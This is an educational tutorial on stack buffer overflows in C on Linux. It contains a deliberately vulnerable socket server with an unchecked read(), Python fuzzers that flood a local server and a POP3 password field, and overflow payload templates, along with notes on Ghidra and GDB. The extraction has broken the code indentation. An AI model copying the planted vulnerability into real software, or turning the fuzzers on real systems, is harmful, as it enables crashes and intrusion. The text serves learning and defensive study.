
	



	

Introduction		
	
This	tutorial	started	as	a	simple	attempt	to	take	notes	and	follow	my	curiosity	on	C	programming,	Assembly	and	Buffer	Overflows	work.	
Don’t	take	anything	here	as	gospel	because	the	content	was	written	by	a	high-school	drop-out	without	any	formal	computer	science	
background.	If	you	find	something	wildly	wrong	then	let	me	know.	From	what	I	can	tell,	overall	this	work	is	directionally	accurate.		The	
PoC	and	much	of	the	content	is	compiled	and	inspired	from	various	CTFs,	Online	Videos,	UPENN,	Renseller,	Blackhat	presentations,	
exploit	researchers	on	exploit-db	and	more.	 	
	
This	entire	paper	looks	at	technology	from	the	perspective	of	someone	who	needs	to	learn	from	the	ground	up.	All	the	tutorials	and	blogs	
on	Buffer	Overflows	either	show	a	basic	“Input	data	here”	C	program	or	use	well	known	vendor	products.	There	little	mention	on	the	C	
programming	language	or	the	memory	protections	within.	There	is	little	mention	of	the	pain	of	taking	pre-compiled	binaries	that	you	did	
not	write	and	attempting	of	fuzz	it,	reverse	engineer	it	and	understand	it	before	throwing	your	garbage	at	the	program.		
	
Most	tutorials	dive	straight	into	intimidating	debuggers	GUIs	without	starting	in	a	simple	GDB	screen	never	forcing	the	user	to	think	about	
what	they	need	to	see.	All	the	blogs,	tutorials	and	training	tells	you	to	disable	modern	memory	and	stack	protections	without	explaining	
the	critically	of	them	and	the	difficulty	of	developing	a	successful	exploit	in	the	modern	world.	And	there	is	little	interdisciplinary	mention	
of	implementing	the	protective	and	detective	technology	that	relates	to	the	buffer	overflow.	 	
	
All	this	leaves	the	technology	new-comer	wildly	unprepared	or	the	least	blissfully	ignorant,	including	myself.	In	the	unlikely	chance	that	
someone	starting	their	career	stumbles	upon	this	paper	online,	I	hope	you	find	that	it	is	historically	as	useless	as	the	papers	and	tutorials	
that	came	before	it.	I	hope	it	inspires	you	to	learn	more	and	build	upon	and	correct	it.	There	is	no	money	involved	here,	no	corporate	
sponsorship,	no	edu	homework	or	anything	like	that.	Just	someone	who	loves	learning	who	wrote	it	all	down.	 	
	
If	you’re	foolish	or	bored	enough	to	go	any	further,	what	will	you	find?		
	

1. Basics	of	C	Socket	programming		
2. C	Socket	program	code	w/	Inline	comments	on	how	to	write	a	Socket	program	in	C	
3. Basic	fuzzer	development	in	Python		
4. Basic	of	reverse	engineering	pre-compiled	Binaries	found	online	with	NSA	GHIDRA	
5. Basics	of	using	GBD	and	EDB	debuggers		
6. Intro	material	on	x86	Assembly	and	Memory		
7. Crashing	the	Stack	(Buffer	Overflow	PoC)	
8. Static	Analysis	of	Insecure	Functions	in	C	
9. Basics	on	the	Mitigations	to	Buffer	Overflows		
10. Basics	on	Bypassing	Buffer	Overflow	Mitigations		
11. Basics	on	Detecting	Buffer	Overflows	and	Post	exploit	activity		

	
	
	

@S3csM	
	

	

	 	

https://twitter.com/S3csM


Basics	on	Socket	Programming	in	C	
	
#include		
	
The	#	include	is	called	a	pre-processor	directive.	When	you	compile	a	C	or	C++	program,	one	of	the	first	things	C	does	
is	use	a	pre-processor	and	find	the	#	characters.	The	#include	directive	inserts	the	contents	of	another	file	into	that	
spot	in	the	source	code.	Think	of	it	like	sourcing	any	dependent	C	libraries.		
	
Usually	this	is	a	"header"	file	(.h	extension)	that	defines	variable	types	or	functions.	Since	the	included	file's	name	is	
surrounded	by	<	and	>,	it	means	it's	located	in	the	standard	include	path,	and	not	with	the	rest	of	the	source	files.	
	
#include				<stdio.h>	
	
Input	and	Output	operations	can	also	be	performed	in	C++	using	the	C	Standard	Input	and	Output	Library	(cstdio,	
known	as		stdio.h		in	the	C	language).	This	library	uses	what	are	called		streams		to	operate	with	physical	devices	such	as	
keyboards,	printers,	terminals	or	with	any	other	type	of	files	supported	by	the	system.	Streams	are	an	abstraction	to	
interact	with	these	in	a	uniform	way;	All	streams	have	similar	properties	independently	of	the	individual	characteristics	
of	the	physical	media	they	are	associated	with.	
	
#include				<stdlib.h>	
	
This	header	defines	several	general	purpose	functions,	including	dynamic	memory	management,	random	number	
generation,	communication	with	the	environment,	integer	arithmetics,	searching,	sorting	and	converting.’	
	
#include				<string.h>	
	
This	header	file	defines	several	functions	to	manipulate	C	strings	and	arrays.	E.g.	Copying,	concatenation,	comparison	
etc.		
	
#include				<sys/socket.h>	
	
This	header	file	provides	general	functionality	for	socket	programming.	A	socket	is	a	generalized	interprocess	
communication	channel.	Like	a	pipe,	a	socket	is	represented	as	a	file	descriptor.	Unlike	pipes	sockets	support	
communication	between	unrelated	processes,	and	even	between	processes	running	on	different	machines	that	
communicate	over	a	network.	Sockets	are	the	primary	means	of	communicating	with	other	machines;	telnet,	rlogin,	
ftp,	talk	and	the	other	familiar	network	programs	use	sockets.	
	
#include				<netinet/in.h>	
	
The	header	file	in.h	contains	constants	and	structures	needed	for	internet	domain	addresses.	
	
#include				<unistd.h>	
	
This	header	file	will	provide	various	constant,	type	and	function	declarations	that	comprise	the	POSIX	operating	system	
API	



	

	

Source	Code	to	Vulnerable	Server	and	Python	Client	can	be	found	…	
	
https://github.com/secSandman/Buffer_Overflow_PoC_C_Linux	
	
	
The	clientPoC.py	and	client.py	files	will	be	used	to	fuzz	and	attack	the	vulnerable	program.	Later,	we’ll	explain	
what	and	why?	For	now,	this	is	just	an	example,	for	those	who	want	to	dive	right	in	and	work	backwards.		

	
clientPoC.py	

	
#!/usr/bin/python	
	
import	socket	
import	struct	
import	sys	
	
if	len(sys.argv)	!=	2:	
				print	"Usage:	"	+	sys.argv[0]	+	"	[port]"	
				sys.exit(1)	
	
MESSAGE="A"	
	
while	len(MESSAGE)	<=	1000000:	#		may	need	to	be	increased	based	on	your	target	buffer	size		

DEST_IP	=	'127.0.0.1'	#	host	your	vulnPrograms	is	listening	on		
DEST_PORT	=	int(sys.argv[1])	
counter=100	

								MESSAGE	+=	("A"	*	counter)	#increasing	the	fuzz	payload	of	A's.		
counter=counter+100	#	100	here	is	arbitrary,	smaller	will	be	more	accurate	but	take	longer.	

								print("length	of	fuzz	overflow	is	")	
print(len(MESSAGE))	#	For	educational	purposes		

	
for	string	in	MESSAGE:	

def	convert(MESSAGE):	
raw	=	''	

#	Server	expects	a	"pre-fix"	telling	you	the	buffer	size.	This	will	help	us	troubleshoot	in	the	server	
terminal.		

raw	+=	struct.pack("<I",	len(MESSAGE))		
raw	+=	MESSAGE	
return	raw	

								#	print(convert(MESSAGE))#	test	purposes		
s	=	socket.socket(socket.AF_INET,	socket.SOCK_STREAM)	
s.connect((DEST_IP,	DEST_PORT))	
s.send(convert(MESSAGE))	
data	=	s.recv(1024)	

s.close()	
	

https://github.com/secSandman/Buffer_Overflow_PoC_C_Linux


print	"Received	data:	",	data	
	

	
	
The	vulnerableServer.c	is	the	vulnerable	C	program.	The	source	code,	will	explain	the	what	and	the	why	of	the	
code	in	case	you	want	to	build	your	own	program.	Later,	we	cover	other	vulnerable	C	functions.		For	now,	this	is	
just	an	example,	for	those	who	want	to	dive	right	in	and	work	backwards.		

	
	

Vulnerable	Server	w/	comments	on	Socket	C	programming	in	C		

	
/*	
	*	A	vulnerable	network	application	C	to	show	the	basics	overflowing	a	buffer	and	writing	a	simple	Socket	Program	..	
(-8	
	*	Thanks	to	taishi8117	for	the	source	code	and	open	sourcing	the	code		
	*	I	updated	the	Server	to	run	continuously	so	you	can	write	an	iterative	fuzzer	on	it.	Previously	the	server	terminated	
process	after	the	first	server	response.		
	*	Thanks	to	Rensellar	College	and	UPENN	for	leaving	your	C	/	C#	programming	material	for	free	on	the	public	
internet.	
	*/	
		
#include				<stdio.h>	
#include				<stdlib.h>	
#include				<string.h>	
#include				<sys/types.h>	
#include				<sys/socket.h>	
#include				<netinet/in.h>	
#include				<unistd.h>	
#include				<signal.h>	
	
	
/*defines	a	macro	named		BUFFER_BOUNDARY_SIZE		as	an	abbreviation	for	the	token	1024.	HEADER_SIZE	is	unique	
to	this	application	and	is	a	pre-fixed	string	added	to	the	message	block*/	
	
#define	BUFFER_BOUNDARY_SIZE	1024	
#define	HEADER_SIZE	4	
	
/*	Macro	will	insert	buffer	size	of	1024	into	char	buffer	setting	our	buffer	size	to	1024	bytes*/	
	
void	vuln_read(int	cli_fd)	{	
	
	/*The	server	reads	characters	from	the	socket	connection	into	this	buffer.*/	
	
char	buffer[BUFFER_BOUNDARY_SIZE];	
	
	
/*	Assuming	that	incoming	client	header	is	in	little	endian	the	server	will	then	read	the	first	4	bytes	to	get	a	client	
provided	pre-fix	string	stating	how	many	bytes	to	the	client	is	providing	*/	
	
		int	to_read;	
		read(cli_fd,	&to_read,	HEADER_SIZE);	
		printf("Will	read	%d	bytes\n",	to_read);	
	



	
	
	 	
		/*	-----------------	WARNING	------------------------*/	
		/*int	read_bytes	=	read(cli_fd,	buffer,	to_read);	has	a	buffer	overflow	vulnerability,		
		because	to_read	can	be	much	larger	than	the	macro	defined	1024.		
		That's	because	there	is	no	byte	length	validation	on	to_read	before	we	place	into	buffer	of	1024,	meh	*/	
	 	
		int	read_bytes	=	read(cli_fd,	buffer,	to_read);	
		printf("Read:	%d	bytes\n",	read_bytes);	
		printf("Incoming	message:	%s\n",	buffer);	
}	
	
int	main	(int	argc,	char	**argv){	
	
		if	(argc	<	2)	{	
				printf("Usage:	%s	[port]\n",	argv[0]);	
				exit(1);	
		}	
	
		/*	
			sockfd		is	a	file	descriptors,	i.e.	array	subscripts	into	the	file	descriptor	table	.	These	two	variables	store	the	values	
returned	by	the	socket	system	call	and	the	accept	system	call.	
			port		stores	the	port	number	on	which	the	server	accepts	connections.	
			cli_len		stores	the	size	of	the	address	of	the	client.	This	is	needed	for	the	accept	system	call.	
		*/	
	
		int	port,	sock_fd,	cli_fd;	
		socklen_t	cli_len;	
	
		/*A	sockaddr_in	is	a	structure	containing	an	internet	address.	This	structure	is	defined	in	<netinet/in.h>.	*/	
	
		struct	sockaddr_in	serv_addr,	cli_addr;	
	
/*The		socket()		system	call	creates	a	new	socket.		It	takes	three	arguments	.	The	first	is	the	address	domain	of	the	
socket.	Recall	that	there	are	two	possible	address	domains,	the		unix	domain		for	two	processes	which	share	a	common	
file	system,	and	the	I	nternet	domain		for	any	two	hosts	on	the	Internet.	The	symbol	constant		AF_UNIX		is	used	for	
the	former,	and		AF_INET		for	the	latter	(there	are	actually	many	other	options	which	can	be	used	here	for	specialized	
purposes).	
The		second	argument	is	the	type	of	socket	.		
	
Recall	that	there	are	two	choices	here,	a	stream	socket	in	which	characters	are	read	in	a	continuous	stream	as	if	from	a	
file	or	pipe,	and	a	datagram	socket,	in	which	messages	are	read	in	chunks.	The	two	symbolic	constants	are	
SOCK_STREAM		and		SOCK_DGRAM.		The	third	argument	is	the	protocol.	If	this	argument	is	zero	(and	it	always	should	
be	except	for	unusual	circumstances),	the	operating	system	will	choose	the	most	appropriate	protocol.	It	will	choose	
TCP		for		stream	sockets		and		UDP		for		datagram	sockets	.	
	
The	socket	system	call	returns	an	entry	into	the	file	descriptor	table	(i.e.	a	small	integer).	This	value	is	used	for	all	
subsequent	references	to	this	socket.	If	the	socket	call	fails,	it	returns	-1.	In	this	case	the	program	displays	and	error	
message	and	exits.	However,	this	system	call	is	unlikely	to	fail.	
	
This	is	a	simplified	description	of	the	socket	call;	there	are	numerous	other	choices	for	domains	and	types,	but	these	
are	the	most	common.	*/	
	
	
		sock_fd	=	socket(AF_INET,	SOCK_STREAM,	0);	



		if	(sock_fd	<	0)	{	
				printf("Error	opening	a	socket\n");	
				exit(1);	
		}	
	
		/*An		in_addr		structure,	defined	in	the	same	header	file,	contains	only	one	field,	a	unsigned	long	called		s_addr	for	
server	address	.	The	variable		serv_addr		will	contain	the	address	of	the	server,	
		and		cli_addr		will	contain	the	address	of	the	client	which	connects	to	the	server.	
	
		The		port		number	on	which	the	server	will	listen	for	connections	is	passed	in	as	an	argument,	
		and	this	statement	uses	the		atoi()	function		to	convert	this	from	a	string	of	digits	to	an	integer.	*/	
	
		port	=	atoi(argv[1]);	
		serv_addr.sin_family	=	AF_INET;	
		serv_addr.sin_addr.s_addr	=	INADDR_ANY;	
		serv_addr.sin_port	=	htons(port);	
	
		/*The		bind()		system	call	binds	a	socket	to	an	address,	in	this	case	the	address	of	the	current	host	and	port	number	
on	which	the	server	will	run.	It	takes	three	arguments,	the	socket	file	descriptor,	the	address	to	which	is	bound,	and	
the	size	of	the	address	to	which	it	is	bound.	The	second	argument	is	a	pointer	to	a	structure	of	type		sockaddr	,	but	
what	is	passed	in	is	a	structure	of	type	sockaddr_in,	and	so	this	must	be	cast	to	the	correct	type.	This	can	fail	for	a	
number	of	reasons,	the	most	obvious	being	that	this	socket	is	already	in	use	on	this	machine.*/	
	
		if	(bind(sock_fd,	(struct	sockaddr	*)	&serv_addr,	sizeof(serv_addr))	<	0)	{	
				printf("Error	on	bind()\n");	
				exit(1);	
		}	
	
		/*	The		listen		system	call	allows	the	process	to	listen	on	the	socket	for	connections.	The	first	argument	is	the	socket	
file	descriptor,	and	the	second	is	the	size	of	the	backlog	queue,	i.e.,	the	number	of	connections	that	can	be	waiting	
while	the	process	is	handling	a	particular	connection.	This	should	be	set	to	5,	the	maximum	size	permitted	by	most	
systems.	
		If	the	first	argument	is	a	valid	socket,	this	call	cannot	fail,	and	so	the	code	doesn't	check	for	errors.	*/	
	 	
		//	printf("Waiting	for	a	connection...\n");	
		listen(sock_fd,	1);	
	
		while(1)	
	
		{	//infinite	loop	
	
	
		/*The		accept()	system		call	causes	the	process	to	block	until	a	client	connects	to	the	server.	Thus,	it	wakes	up	the	
process	when	a	connection	from	a	client	has	been	successfully	established.	It	returns	a	new	file	descriptor,	and	all	
communication	on	this	connection	should	be	done	using	the	new	file	descriptor.	The	second	argument	is	a	reference	
pointer	to	the	address	of	the	client	
		on	the	other	end	of	the	connection,	and	the	third	argument	is	the	size	of	this	structure.	*/	
	
		cli_len	=	sizeof(cli_addr);	
		cli_fd	=	accept(sock_fd,	(struct	sockaddr	*)	&cli_addr,	&cli_len);	
		if	(cli_fd	<	0)	{	
				printf("Error	on	accept()\n");	
				exit(1);	
		}	
		//	printf("Connection	accepted...\n");	
	 	



	
		vuln_read(cli_fd);	
	
		char	message[]	=	"Hello	there,	try	to	Pwn	me	...	if	you're	a	1773	H4x0r,	lolz!\n";	
		write(cli_fd,	message,	strlen(message));	
		close(cli_fd);	
		sleep(1);	
		}	
		return	0;	
}	
	
	
	

Basics	of	Fuzzing		
	
Let’s	get	one	thing	out	of	the	way,	I	am	by	no	means	a	master	of	fuzzing.	Like	this	entire	document,	I	only	write	to	
re-enforce	my	own	personal	learning	and	maybe	have	a	useful	reference	for	myself	or	friends	later.		
	
Per	OWASP,		
	
“Fuzz	testing	or	Fuzzing	is	a	Black	Box	software	testing	technique,	which	basically	consists	in	finding	implementation	
bugs	using	malformed/semi-malformed	data	injection	in	an	automated	fashion”	
	
There	are	3	generic	types	of	fuzzers		
	

● Application	Fuzzers	
● Protocol	Fuzzers		
● File	Formatting	Fuzzers	

	
To	learn	the	core	concepts,	I	started	by	taking	a	purest	approach	and	learning	the	basics	of	fuzzing	with	manual	
command-line	and	a	little	bit	of	python.	All	you	need	is	the	general	curiosity	of	“What	happens	when	I	type	this	in”.		
	
However,	when	dealing	with	large	buffers	or	various	combination	and	permutation	you	may	need	to	write	some		for		and	
while		loops	in	a	scripting	language	or	used	pre-computed	well	known	bad	parameter	lists	like	those	found	here		
	
https://github.com/danielmiessler/SecLists/tree/master/Fuzzing.		
	

Fuzzing	for	Overflows	-	Get	the	A’s,	B’s	and	C’s	
	
A	simple	and	well	known	python	example	can	be	found	floating	around	Github	and	Blogs	to	exploit	an	old	POP3	server.	
Of	course,	you	need	to	know	some	basics	of	the	POP3	protocol	command.	The	below	code,	is	a	good	example	of	
growing	a	value	in	byte-size	beyond	the	allocated	memory	size.	This	example	doesn't	focus	on	fuzzing	“Web	
application”	responses	but	instead	focuses	on	simple	byte	size	based	buffer	overflow.		
	
Eventually	the	application	crashes	with	a	segmentation	fault	when	...	
	

Fuzzer	Buffer		>		Application	Buffer		
	
	
	



	
	
We’ll	use	a	bunch	of	A’s,	B’s,	and	C’s	to	locate	the	space	in	memory	we	have	written	into.	You	can	pick	whatever	
values	you	want,	but	starting	writing	out	a	few	well	known	HEX	codes	makes	it	easy	for	a	noob	like	myself	to	see	when	
digging	into	the	stack	and	buffer	during	debugging.		
	
	
Here	are	a	couple	pieces	of	Python	script	that	can	be	re-used	for	various	occasions.		
	
#!/usr/bin/python	
	
import	socket	
	
#	Create	an	array	of	buffers	with	A’s,	from	1	to	5900,	using		increments	of	200.	
#	Increments	of	200	are	arbitrary.	you	could	use	n++	if	you	want	to	wait	longer.	Whatever.		
	
buffer=["A"]	
counter=100	
while	len(buffer)	<=	30:	

buffer.append("A"*counter)		
counter=counter+200	

for	string	in	buffer:	
print	"Fuzzing	PASS	with	%s	bytes"	%	len(string)		
s=socket.socket(socket.AF_INET,	socket.SOCK_STREAM)		
connect=s.connect(('192.168.0.1',110))	
s.recv(1024)	
s.send('USER	test\r\n')	
s.recv(1024)	

s.send('PASS	'	+	string	+	'\r\n')		
s.send('QUIT\r\n')	
s.close()	
	
	
Another	example,	might	be	to	generate	random	AlphaNumeric	values	to	throw	at	your	application	arguments.	The	
value	of	performing	this	of	this	might	depend	on	what	type	of	behavior	your	trying	to	invoke.		
	
	
import	sys	
from	random	import	randint,	sample	
from	.fuzzer	import	Fuzzer	
	
class	AlphaNumericFuzzer(Fuzzer):	
				"""	
				A	fuzzer	that	produces	unstructured	alphanumeric	output	
				"""	
				def	__init__(self,	min_length,	max_length):	
								super().__init__()	
								self._min_length	=	min_length	
								self._max_length	=	max_length	
	
								self._alphabet	=	set("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")	
	
				@property	
				def	min_length(self):	
								return	self._min_length	
	



				@property	
				def	max_length(self):	
								return	self._max_length	
	
				def	generate(self):	
								data	=	[]	
	
								start	=	self.min_length	
								end	=	0	
	
								if	self.max_length	is	not	None:	
												end	=	randint(start,	self.max_length)	
								else:	
												end	=	randint(start,	sys.maxsize)	
	
								for	i	in	range(start,	end):	
												data.append(sample(self._alphabet,	1)[0])	
	
								self._cases.append("".join(data))	
	
								return	"".join(data)	
	
	
	
Another	simple	command	for	the	manual	testing	in	this	PoC	are	as	follows.		
	
python	-c	'print	"\x41"*overflow'	
python	-c	'print	"\x41"*[offset]'	+	"\x42"*[4]'	+	"\x43"*[Overflow-offset-4]'	
python	-c	'print	"\x90"*[offset]'	+	"Instruction	Pointer"*[4]'	+	"\x90"*[Overflow-offset-4]'	
	
	
Don’t	worry	if	these	commands	are	confusing	we’re	building	up	to	examples.	The	goal	here	is	to	learn	to	write	BO	
malware,	Reverse	compiled	B	binaries,	how	to	write	the	basics	of	low	level	C	programming,	Socket	Programming	and	
Assembly.	However,	there	are	plenty	of	“pre-defined”	lists	of	well	known	bad	parameters	to	pass	into	input	fields	and	
headers	via	all	sorts	of	Web-App	proxy	tools.	Maybe	for	another	time.		
	
	
Intelligent	vs.	Dumb	Fuzzing	
	
I	just	got	out	of	an	embedded	system	exploitation	class	taught	by	some	brilliant	exploit	researchers	and	developers	
from	Raytheon.	Martin	Hodo	aka	“Shellcode	Mercenary”	said	something	I	thought	was	a	great	sticking	point.		
	
“You	can	either	throw	a	bunch	of	garbage	at	the	program	or	you	can	understand	what	the	code	is	expecting”		
	
In	this	example	we	are	lucky	enough	to	have	access	to	some	source	code.	There	is	a	good	example	in	the	source	code	
that	proves	Martin’s	point.		
	
Server-Side	Source	Code	Example	
	
#define	HEADER_SIZE	4	
	
		char	buffer[BUFFER_BOUNDARY_SIZE];	
		int	to_read;	
		read(cli_fd,	&to_read,	HEADER_SIZE);	
		printf("Will	read	%d	bytes\n",	to_read);	
	



Client-Side	Code	Code	Example	
	
def	convert(message):	
				raw	=	''	
				raw	+=	struct.pack("<I",	len(message))	
				raw	+=	message	
				return	raw	
	
Why	is	this	important?	What	point	does	this	illustrate?	My	humble	opinion,	is	that	the	application	may	be	expecting	a	
very	particular	set	of	strings	before	processing	any	data	in	the	buffer	itself.		
	
For	example,	maybe	the	socket	your	communicating	is	expecting	some	sort	of	preamble,	2	byte	flags	or	even	a	simple	
“Hello”	prefix.	More	realistically,	the	client	could	send	some	type	of	unique	OS	flag,	Client	Version	Flag,	Hello	or	who	
knows	what.	In	this	case,	there	is	an	expectation	that	the	first	4	bytes	will	include	the	length	of	the	client	payload.	The	
length	of	the	client	payload,	is	of	course,	calculated	by	the	python	client.	Adn	that’s	just	a	weird	nuance	of	this	code	
and	probably	no	other	code.		
	
So,	if	you	try	to	connect	directly	to	the	socket	and	throw	a	“Bunch	of	A’s”	at	the	listener,	maybe	the	“As”	will	get	to	the	
next	function	for	the	overflow	OR	maybe	the	“A’s”	won’t	even	make	it	because	of	some	missing	pre-fix	logic	stuff	that	
is	unique	to	the	application.		
	
	
Example	of	Overflow	crash		using			Prefix	
	

	
	

	
	
In	this	case,	we	were	lucky	and	our	“A’s”	or	“x\41”	made	it	through	and	overwrote	the	instruction	pointer.	This	may	
not	mean	much	to	those	new	to	the	Buffer	Overflow	concept,	but	don’t	worry	because	the	point	is	“the	hack	worked”	
because	we	knew	the	service	was	expecting	a	4	byte	of	prefix!	The	more	you	understand	what	the	
application	expects	the	more	likely	you	are	getting	into	deeper	parts	in	the	code.	 	
	
Now	let’s	take	a	look	at	blindly	fuzzing	without	understanding	the	client-server	source	code.		
	
	
	
	
	
	



	
	
Example	of	Overflow	using	Blind	Necat/Telnet	payload		without	the	Prefix	
	
	

	
	

	
	
What	happened	here?	It	would	appear	that	we	sent	the	same	number	of	“A’s”	to	the	program	but	we	exited	normally	
and	did	not	receive	a	segmentation	fault	at	the	instruction	pointer.	Why?	Well	without	knowing	the	source	code,	we	
can’t	really	say.	Altho,	we	can	guess	that	without	the	“Prefix”	bytes	then	we	are	not	over-writing	the	stack	enough	and	
need	more	“A’s”.		
	
Also,	look	how	the	“Will	Read”	and	“Read”	seems	to	be	all	whacky	and	not	make	much	sense.	Previously	the	client.py	
script	sent	the	string	“1050”		in	the	message	and	the	server	told	us	we	sent	1050	bytes	but	only	because	“1050”	string	
was	prefixed	onto	the	message	via	the	client.		Since	the	netcat	command	doesn’t	have	that	logic	the	“prefix”	is	missing	
and	our	server	side	code	doesn’t	know	what	to	do.	This	could	result	in	some	logic	failure	early	in	the	source	code	
keeping	you	from	feeding	those	“A’s”	into	a	vulnerable	function	that	hides	deeper	in	the	stack	waiting	for	a	juicy	0-day.		
	
(-;	
	

Reversing	Compiled	Binaries		
	
In	the	case	of	the	example	client.py,	we	get	lucky	and	can	simply	reverse	engineer	the	python	source	code.	If	we	were	
dealing	with	a	compiled	client	binary	then	I’d	say	start	with	“file”	and	“strings”	command	and	then	move	onto	
de-compliation.		
	
Let’s	try	file	and	strings	on	our	server	side	compiled	code	just	for	kicks.		
	

	
	



	
	
We	can	see	its	a	compiled	ELF	binary,	the	pre-processor	directive	being	used	and	later	in	the	stdout	of	string	
command,	we	can	see	the	string	the	printf	gives	us.	Remember,	if	we	only	had	the	compiled	binaries	to	work	with,	
then	successfully	fuzzing	this	application	may	give	us	problems	because	of	the	unknown	“prefix”	that	is	appended	to	
the	client.py	message.	So	how	do	we	figure	this	out	if	we	don;t	have	access	to	the	source-code?		
	
	
	
NSA	GHIDRA	to	the	Rescue		
	
Our	friends	at	the	NSA	recently	announced,	what	I	consider	a	pretty	kick	ass	tool.	GHIDRA.	To		quote	directly	from	
WIKI,		
	
“Ghidra	is	a	free	and	open	source	reverse	engineering	tool	developed	by	the	National	Security	Agency	(NSA).	The	
binaries	were	released	at	RSA	Conference	in	March	2019,	the	sources	were	published	one	month	later	on	GitHub.	
Ghidra	is	seen	by	many	security	researchers	as	a	competitor	to	IDA	Pro	and	JEB	Decompiler”	
	

	
	
	
Let’s	say	one	way	or	another	we	get	our	hands	on	some	compiled	client	or	server	binaries	and	need	to	do	a	deep	dive,	
maybe	to	develop	our	own	my	intelligent	fuzzer.	What	might	that	look	like?	Download	the	Ghidra	source,	compile	and	
run.	Then	simply	import	your	binary.	That’s	it.		
	



	
	

	
	
	
	
You’ll	want	to	use	the	“CodeBrowser”	in	the	GHIDRA	tool	chest.	From	there,	import	your	compiled	binary.	Ghidra	will	
do	the	de-compilation	magic	for	you	from	there.	As	illustrated	below,	I’ve	pulled	up	the	compiled	vulnServerC	assembly	
code	and		Ghida’s		guess			at	the	de-compiled	function	source	code.	The	source	code	won’t	match	exactly	but	you	will	be	
able	to	view	the	function	and	the	logic	which	will	allow	you	to	find	insecure	functions	and	custom	functions	that	create	
similar	problems.		
	
	

	
	
	
	



	
	
What	does	all	this	mean?	Well,	I	basically	went	through	each	function	looking	for	any	argument	that	might	be	
interesting.	If	you	noticed	I’ve	highlighted	the	x86	op-code	at	memory	location	0x001012d	which	invokes	a		CALL		to	
READ()		and	some	subsequent	MOV’s	which	are	likely	adding	new	the	4	Bytes	to	some	memory	location.	The	
corresponding	C	code	for	that	assembly	is	so	graciously	positioned	to	the	right	of	our	assembly	instructions.		
	
	
Let’s	learn	a	little	bit	about	the	READ()	function	in	C.		
	

ssize_t	read(int	fs,	void	*buf,	size_t	N);	
	
“From	the	file	indicated	by	the	file	descriptor	fs,	the	read()	function	reads	N	bytes	of	input	into	the	memory	area	
indicated	by	buf”	
	
So	the	programmer	here,	wrote	this	application	to	only	read	the	first		4		bytes	of	something.	Reading	further	into	the	
decompiled	source	we		printf		that	tells	us	were	reading	the	“Message”	aka	the	payload	or	client	is	sending.	So	we’re	
reading	the	first		4		bytes	of	the	client	payload	and	storing	it	into	a	variable	that	is	then	being	printed	back	to	us	in	the	
vulnerable	Server	which	prints	it’s	“Value”...	aka	number	of	Bytes.		
	

	
	
It	looks	like	this	is	a	4	byte	“pre-fix”	which	is	basically	the	LEN(PAYLOAD)	sent	from	the	client.	You	can	validate	this	be	
looking	back	at	the	python	client	code.	
	

	
	
For	me,	the	important	takeaway	goes	back	to	that	quote	earlier.		
	
“You	can	either	throw	a	bunch	of	garbage	at	the	program	or	you	can	understand	what	the	code	is	expecting”		
	
If	we	were	in	a	different	situation	and	we	had	to	write	our	own	Python	fuzzing	client	from	scratch,	we	now	know	what	
the	server	is	expecting	from	the	client.	From	here	we	can	reverse	engineer	our	own	fuzzing	client	in	whatever	language	
you	want.	When	I	first	learned	buffer	overflows,	it	was	with	well	known	vulnerable	servers	and	the	“client	request”	
message	was	well	documented.	The	reality	is	that	deeper	static	code	analysis	is	generally	required	for	buffer	overflows	
research.		
	

Crashing	the	Stack	
	
Finally	right,	it’s	a	long	strange	trip.	So	...	
	

● We	have	some	basic	skills	in	C	
● We	have	a	vulnerable	C	server	listening	on	the	local	network		
● We	have	either	a	custom	or	generic	client	for	communication	to	the	VulnerableServer	
● We	understand	we	need	to	Fuzz	the	programs	arguments		



● We	used	some	tools	to	reverse	engineer	compiled	binaries	in	case	we	need	to	get	creative	with	the	fuzzy	
payload	

	
	
As	a	self-taught	technologist,	one	of	the	most	difficult	areas	I	struggled	with	was	understanding	what	was	going	on	
under	the	hood.	I	started	my	“Techy”	journey	writing	JavaSCript	and	HTML	because		it	was	easy	and	I	could	get	
immediate	visual	feedback	via	changes	in	the	browser.	Working	down	the	stack	into	C	programing	and	x86/x64	Linux	
and	Windows	architectures	was	and	still	is	not	easy.	Either	Way,	learning	low	level	debugging	is	necessary.		
	
What’s	a	buffer?		
	
	
“A	buffer	is	simply	a	contiguous	block	of	computer	memory	that	holds	multiple	instances	of	the	same	data	type.	C	
programmers	normally	associate	with	the	word	buffer	arrays.	Most	commonly,	character	arrays.	Arrays,	like	all	
variables	in	C,	can	be	declared	either	static	or	dynamic.	Static	variables	are	allocated	at	load	time	on	the	data	
segment.	Dynamic	variables	are	allocated	at	run	time	on	the	stack.	To	overflow	is	to	flow,	or	fill	over	the	top,	brims,	or	
bounds.	We	will	concern	ourselves	only	with	the	overflow	of	dynamic	buffers,	otherwise	known	as	stack	based	buffer	
overflows.”			-	Smashing	the	Stack	by	Aleph	One	
	
	
Most	confusing	to	me	was	how	the	stack	relates	back	to	Buffer	and	how	the			assembly	language	fits	into	the	puzzle.	
Some	self-paced	labs	had	me	break	open	a	debugger	to	the	sight	of	this	….	
	
	

The	Scary	debugger	UI	
	

	
	
	
I	personally	decided	to	get	off	the	UI	debugger	because	it	“had	too	many	windows”	at	the	time.	Later	in	this	paper,	I	
flip	back	to	the	UI	because	it	made	memory	dumps	easy	to	visualize.	We	will	start	with	linux	GDB	in	the	terminal.	Just	
seemed	a	lot	cleaner	view	and	teaches	you	more	about	the	GUI	version.	Although,	learning	the	terminal	commands	
take	more	time	than	clicking	a	window	they	are	best	for	beginners.	
	
	
	

	



Native	EDB	in	Terminal		
	

	
	
	
	

Okay,	so	I	put	these	pictures	first	to	put	the	big	bad	scary	screens	with	“The	Matrix”	font	out	of	the	way.	Honestly	it’s	
not	that	bad.	I’ve	synthesized	my	notes	down	to	a	few	important	things.		
	
	
Understand	the	Basics	of	Memory	Management		
	
I	found	an	article	that	broke	down	the	basics	of	memory	and	the	stack	in	a	way	that	really	helped	put	the	pieces	
together.	As	anyone	moves	past	basic	NOP	sleds	into	more	advanced	exploit	writing,	the	following	notes	are	absolutely	
critical.	Flip	back	and	forth	between	the	definitions	and	the	images	a	few	times.		

1. Command	line	arguments	and	environment	variables:		The	arguments	passed	to	a	program	before	running	and	the	
environment	variables	are	stored	in	the	high	memory	address	section.	

2. Stack:		This	is	the	place	where	all	the	function	parameters,	return	addresses	and	the	local	variables	of	the	function	are	
stored.	It’s	a		LIFO		structure.	It	grows	downward	in	memory	(from	higher	address	space	to	lower	address	space)	as	new	
function	calls	are	made.	We	will	examine	the	stack	in	more	detail	later.	

